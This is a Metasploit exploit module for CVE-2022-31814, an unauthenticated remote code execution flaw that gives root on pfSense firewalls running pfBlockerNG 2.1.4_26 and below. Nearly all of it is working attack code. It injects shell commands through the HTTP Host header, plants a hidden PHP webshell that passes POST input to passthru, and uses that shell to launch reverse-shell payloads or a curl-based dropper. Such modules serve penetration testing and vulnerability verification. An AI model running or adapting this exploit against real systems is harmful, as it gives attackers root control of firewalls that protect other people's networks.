##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'pfSense plugin pfBlockerNG unauthenticated RCE as root',
        'Description' => %q{
          pfBlockerNG is a popular pfSense plugin that is not installed by default. It’s generally used to
          block inbound connections from whole countries or IP ranges. Versions 2.1.4_26 and below are affected
          by an unauthenticated RCE vulnerability that results in root access. Note that version 3.x is unaffected.
        },
        'Author' => [
          'IHTeam', # discovery
          'jheysel-r7' # module
        ],
        'References' => [
          [ 'CVE', '2022-31814' ],
          [ 'URL', 'https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/'],
          [ 'EDB', '51032' ]
        ],
        'License' => MSF_LICENSE,
        'Platform' => 'unix',
        'Privileged' => false,
        'Arch' => [ ARCH_CMD ],
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_openssl'
              }
            }
          ],
          [
            'BSD Dropper',
            {
              'Platform' => 'bsd',
              'Arch' => [ARCH_X64],
              'Type' => :bsd_dropper,
              'CmdStagerFlavor' => [ 'curl' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'bsd/x64/shell_reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 1,
        'DisclosureDate' => '2022-09-05',
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 443
        },
        'Notes' => {
          'Stability' => [ CRASH_SERVICE_DOWN ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_options(
      [
        OptString.new('WEBSHELL_NAME', [
          false, 'The name of the uploaded webshell sans the ".php" ending. This value will be randomly generated if left unset.', nil
        ])
      ]
    )
  end

  def upload_shell
    print_status 'Uploading shell...'
    if datastore['WEBSHELL_NAME'].blank?
      @webshell_name = "#{Rex::Text.rand_text_alpha(8..16)}.php"
    else
      @webshell_name = "#{datastore['WEBSHELL_NAME']}.php"
    end
    @parameter_name = Rex::Text.rand_text_alpha(4..12)
    print_status("Webshell name is: #{@webshell_name}")
    web_shell_contents = <<~EOF
      <?php echo file_put_contents('/usr/local/www/#{@webshell_name}','<?php echo(passthru($_POST["#{@parameter_name}"]));');
    EOF
    encoded_php = web_shell_contents.unpack('H*')[0].upcase
    send_request_raw(
      'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),
      'headers' => {
        'Host' => "' *; echo '16i #{encoded_php} P' | dc | php; '"
      }
    )
    sleep datastore['WfsDelay']
    register_file_for_cleanup("/usr/local/www/#{@webshell_name}")
  end

  def check
    test_file_name = Rex::Text.rand_text_alpha(4..12)
    test_file_content = Rex::Text.rand_text_alpha(4..12)
    test_injection = <<~EOF
      <?php echo file_put_contents('/usr/local/www/#{test_file_name}','#{test_file_content}');
    EOF
    encoded_php = test_injection.unpack('H*')[0].upcase
    send_request_raw(
      'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),
      'headers' => {
        'Host' => "' *; echo '16i #{encoded_php} P' | dc | php; '"
      }
    )
    sleep datastore['WfsDelay']

    check_resp = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "/#{test_file_name}")
    )
    return Exploit::CheckCode::Safe('Error uploading shell, the system is likely patched.') if check_resp.nil? || !check_resp.code == 200 || !check_resp.body.include?(test_file_content)

    # Clean up test webshell "/usr/local/www/#{test_file_name}"
    clean_up_injection = <<~EOF
      <?php echo unlink('/usr/local/www/#{test_file_name}');
    EOF
    encoded_clean_up = clean_up_injection.unpack('H*')[0].upcase
    send_request_raw(
      'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),
      'headers' => {
        'Host' => "' *; echo '16i #{encoded_clean_up} P' | dc | php; '"
      }
    )
    Exploit::CheckCode::Vulnerable
  end

  def execute_command(cmd, _opts = {})
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, @webshell_name),
      'headers' => {
        'Content-Encoding' => 'application/x-www-form-urlencoded; charset=UTF-8'
      },
      'vars_post' => {
        @parameter_name.to_s => cmd
      }
    })
  end

  def exploit
    upload_shell
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :bsd_dropper
      execute_cmdstager
    end
  end
end
